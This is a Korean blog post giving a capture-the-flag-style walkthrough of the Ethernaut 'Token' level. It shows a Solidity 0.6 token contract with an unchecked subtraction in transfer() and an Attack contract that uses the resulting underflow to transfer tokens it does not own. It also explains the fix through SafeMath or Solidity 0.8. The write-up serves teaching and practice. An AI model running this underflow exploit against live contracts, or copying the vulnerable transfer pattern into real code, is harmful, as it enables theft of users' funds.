티스토리 뷰

Solidity/Hacking

[Ethernaut] 5. Token

piatoss 2024. 1. 15. 09:15

1. 문제

 당신은 20개의 토큰을 지급받은 상태로 시작한다. 아래의 컨트랙트에 가능한 한 많은 토큰을 탈취하라.

도움이 될만한 것:
오도미터가 무엇인가?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

2. 해법

 Token 컨트랙트를 공격하는 컨트랙트를 다음과 같이 작성하고 배포합니다. 

contract Attack {
    address public token;

    constructor(address _token) public {
        token = _token;
    }

    function attack(address _to, uint _value) public returns (bool) {
        Token tokenContract = Token(token);

        return tokenContract.transfer(_to, _value);
    }
}

 

 그리고 attack 함수를 호출하는데 _to는 ethernaut 인스턴스를 생성할 때 사용한 자신의 지갑 주소를, _value는 Token 컨트랙트의 남은 토큰 수량을 벗어나지 않는 큰 값이면 됩니다.

 

 트랜잭션이 컨펌되고 나면 Token 컨트랙트에서 자신의 토큰 잔액을 확인합니다. 

 

 토큰 잔액을 확인하고 나면 답안 제출 및 결과를 확인할 수 있습니다.


3. 산술 오버플로

https://ko.wikipedia.org/wiki/오도미터

 오도미터의 바늘은 주어진 범위 내에서만 왔다 갔다 하지 이 범위를 벗어나는 값에 대해서는 표현을 할 수가 없습니다. 대부분의 프로그래밍 언어에서 정의된 int, float 등의 타입들도 마찬가지입니다.

 

 Solidity의 uint256 타입은 0~2256-1 사이의 정수를 표현할 수 있습니다. 만약 uint256 타입의 변수에 대해 산술 연산을 실행하는 과정에서 값이 음수가 된다면 타입이 표현할 수 있는 범위를 벗어났으므로 산술 오버플로가 발생합니다. 따라서 그 결과가 오히려 아주 큰 값이 됩니다.

 

function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);
  balances[msg.sender] -= _value;
  balances[_to] += _value;
  return true;
}

 

 Token 컨트랙트의 transfer 함수를 보시면  require문 안에서 뺄셈 연산이 이루어집니다. 여기서 만약 balances[msg.sender]보다 더 큰 값의 _value를 사용하게 되면 오버플로가 발생하여 그 결과가 아주 큰 값이 되므로 require문이 유효하다고 결론지어지게 됩니다. 따라서 가지고 있지도 않은 토큰을 가지고 있는 척하여 임의로 전송이 가능해집니다.

 

 산술 오버플로 문제는 유심히 관찰을 해서 일일이 잡아내든가 OpenZeppelin의 SafeMath 라이브러리를 사용하든가 하면 되는데, 사실은 solidity 0.8 버전 업데이트부터 산술 오버플로를 실행과정에서 자동으로 검사를 하는 기능이 추가되었습니다. 따라서 SafeMath 라이브러리도 사실상 필요가 없어진 것이고 이 문제와 같은 사고도 발생하기 어려워졌다고 보시면 됩니다.


4. 결론

 solidity는 가능하면 최신 버전을 사용합니다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 7. Force  (0) 2024.01.17
[Ethernaut] 6. Delegation  (0) 2024.01.16
[Ethernaut] 4. Telephone  (0) 2024.01.08
[Ethernaut] 3. CoinFlip  (0) 2024.01.07
[Ethernaut] 2. Fallout  (2) 2024.01.05
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함